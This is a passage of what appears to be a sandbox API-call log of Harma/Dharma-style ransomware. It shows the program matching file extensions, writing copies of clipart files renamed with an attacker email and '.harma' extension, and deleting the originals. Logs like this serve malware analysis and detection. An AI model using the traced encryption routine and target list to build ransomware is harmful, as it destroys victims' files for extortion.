(lpString=".docx") returned 5 [0160.417] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0160.417] lstrlenW (lpString=".pdf") returned 4 [0160.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString=".xls") returned 4 [0160.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.417] lstrlenW (lpString=".xlsx") returned 5 [0160.417] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0160.417] lstrlenW (lpString=".ppt") returned 4 [0160.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString=".zip") returned 4 [0160.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.417] lstrlenW (lpString=".rar") returned 4 [0160.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString=".bz2") returned 4 [0160.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString=".7z") returned 3 [0160.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString=".dbf") returned 4 [0160.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.417] lstrlenW (lpString=".1cd") returned 4 [0160.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0160.418] lstrlenW (lpString=".jpg") returned 4 [0160.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.418] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.418] lstrlenW (lpString="J0099146.WMF") returned 12 [0160.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.418] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=16596) returned 1 [0160.418] CloseHandle (hObject=0x378) returned 1 [0160.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20 [0160.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.419] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.419] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.420] GetLastError () returned 0x0 [0160.420] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x40d4, lpOverlapped=0x0) returned 1 [0160.429] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x40e0, lpOverlapped=0x0) returned 1 [0160.430] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.430] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.430] SetEndOfFile (hFile=0x348) returned 1 [0160.430] CloseHandle (hObject=0x348) returned 1 [0160.430] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.430] SetEndOfFile (hFile=0x378) returned 1 [0160.433] CloseHandle (hObject=0x378) returned 1 [0160.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0160.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.477] lstrlenW (lpString=".doc") returned 4 [0160.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString=".docx") returned 5 [0160.477] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0160.477] lstrlenW (lpString=".pdf") returned 4 [0160.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString=".xls") returned 4 [0160.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.477] lstrlenW (lpString=".xlsx") returned 5 [0160.477] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0160.477] lstrlenW (lpString=".ppt") returned 4 [0160.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.477] lstrlenW (lpString=".zip") returned 4 [0160.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.477] lstrlenW (lpString=".rar") returned 4 [0160.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString=".bz2") returned 4 [0160.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString=".7z") returned 3 [0160.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.477] lstrlenW (lpString=".dbf") returned 4 [0160.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString=".1cd") returned 4 [0160.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString=".jpg") returned 4 [0160.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString=".doc") returned 4 [0160.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString=".docx") returned 5 [0160.478] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0160.478] lstrlenW (lpString=".pdf") returned 4 [0160.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString=".xls") returned 4 [0160.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.478] lstrlenW (lpString=".xlsx") returned 5 [0160.478] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0160.478] lstrlenW (lpString=".ppt") returned 4 [0160.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString=".zip") returned 4 [0160.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.478] lstrlenW (lpString=".rar") returned 4 [0160.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString=".bz2") returned 4 [0160.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.478] lstrlenW (lpString=".7z") returned 3 [0160.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.478] lstrlenW (lpString=".dbf") returned 4 [0160.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.479] lstrlenW (lpString=".1cd") returned 4 [0160.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0160.479] lstrlenW (lpString=".jpg") returned 4 [0160.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.479] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0160.479] lstrlenW (lpString="J0099147.JPG") returned 12 [0160.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.480] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=24377) returned 1 [0160.480] CloseHandle (hObject=0x348) returned 1 [0160.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 0x20 [0160.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.480] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.480] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.482] GetLastError () returned 0x0 [0160.482] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5f39, lpOverlapped=0x0) returned 1 [0160.487] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5f40, lpOverlapped=0x0) returned 1 [0160.488] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.488] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.489] SetEndOfFile (hFile=0x34c) returned 1 [0160.489] CloseHandle (hObject=0x34c) returned 1 [0160.489] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.489] SetEndOfFile (hFile=0x348) returned 1 [0160.491] CloseHandle (hObject=0x348) returned 1 [0160.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0160.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.492] lstrlenW (lpString=".doc") returned 4 [0160.492] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.492] lstrlenW (lpString=".docx") returned 5 [0160.493] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0160.493] lstrlenW (lpString=".pdf") returned 4 [0160.493] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.493] lstrlenW (lpString=".xls") returned 4 [0160.493] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.493] lstrlenW (lpString=".xlsx") returned 5 [0160.493] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0160.493] lstrlenW (lpString=".ppt") returned 4 [0160.493] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString=".zip") returned 4 [0160.493] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.493] lstrlenW (lpString=".rar") returned 4 [0160.493] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.493] lstrlenW (lpString=".bz2") returned 4 [0160.493] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.493] lstrlenW (lpString=".7z") returned 3 [0160.493] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString=".dbf") returned 4 [0160.493] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString=".1cd") returned 4 [0160.493] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString=".jpg") returned 4 [0160.493] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.493] lstrlenW (lpString=".doc") returned 4 [0160.493] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.494] lstrlenW (lpString=".docx") returned 5 [0160.494] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0160.494] lstrlenW (lpString=".pdf") returned 4 [0160.494] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.494] lstrlenW (lpString=".xls") returned 4 [0160.494] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.494] lstrlenW (lpString=".xlsx") returned 5 [0160.494] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0160.494] lstrlenW (lpString=".ppt") returned 4 [0160.494] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.494] lstrlenW (lpString=".zip") returned 4 [0160.494] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.494] lstrlenW (lpString=".rar") returned 4 [0160.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.494] lstrlenW (lpString=".bz2") returned 4 [0160.494] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.494] lstrlenW (lpString=".7z") returned 3 [0160.494] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.494] lstrlenW (lpString=".dbf") returned 4 [0160.494] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.494] lstrlenW (lpString=".1cd") returned 4 [0160.494] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0160.494] lstrlenW (lpString=".jpg") returned 4 [0160.494] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.494] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0160.495] lstrlenW (lpString="J0099148.JPG") returned 12 [0160.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.495] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=18258) returned 1 [0160.495] CloseHandle (hObject=0x348) returned 1 [0160.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20 [0160.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0160.496] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.496] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0160.496] GetLastError () returned 0x0 [0160.496] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4752, lpOverlapped=0x0) returned 1 [0160.501] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4760, lpOverlapped=0x0) returned 1 [0160.502] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.503] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.503] SetEndOfFile (hFile=0x34c) returned 1 [0160.503] CloseHandle (hObject=0x34c) returned 1 [0160.503] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.503] SetEndOfFile (hFile=0x348) returned 1 [0160.505] CloseHandle (hObject=0x348) returned 1 [0160.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0160.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.506] lstrlenW (lpString=".doc") returned 4 [0160.506] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.506] lstrlenW (lpString=".docx") returned 5 [0160.506] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0160.506] lstrlenW (lpString=".pdf") returned 4 [0160.506] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.506] lstrlenW (lpString=".xls") returned 4 [0160.506] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.506] lstrlenW (lpString=".xlsx") returned 5 [0160.506] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0160.506] lstrlenW (lpString=".ppt") returned 4 [0160.507] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.507] lstrlenW (lpString=".zip") returned 4 [0160.507] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.507] lstrlenW (lpString=".rar") returned 4 [0160.507] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.507] lstrlenW (lpString=".bz2") returned 4 [0160.507] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.507] lstrlenW (lpString=".7z") returned 3 [0160.507] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.507] lstrlenW (lpString=".dbf") returned 4 [0160.507] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.507] lstrlenW (lpString=".1cd") returned 4 [0160.507] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.507] lstrlenW (lpString=".jpg") returned 4 [0160.507] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.736] lstrlenW (lpString=".doc") returned 4 [0160.736] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.736] lstrlenW (lpString=".docx") returned 5 [0160.736] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0160.752] lstrlenW (lpString=".pdf") returned 4 [0160.752] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.752] lstrlenW (lpString=".xls") returned 4 [0160.752] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.752] lstrlenW (lpString=".xlsx") returned 5 [0160.753] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0160.753] lstrlenW (lpString=".ppt") returned 4 [0160.753] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.753] lstrlenW (lpString=".zip") returned 4 [0160.753] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.753] lstrlenW (lpString=".rar") returned 4 [0160.753] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.753] lstrlenW 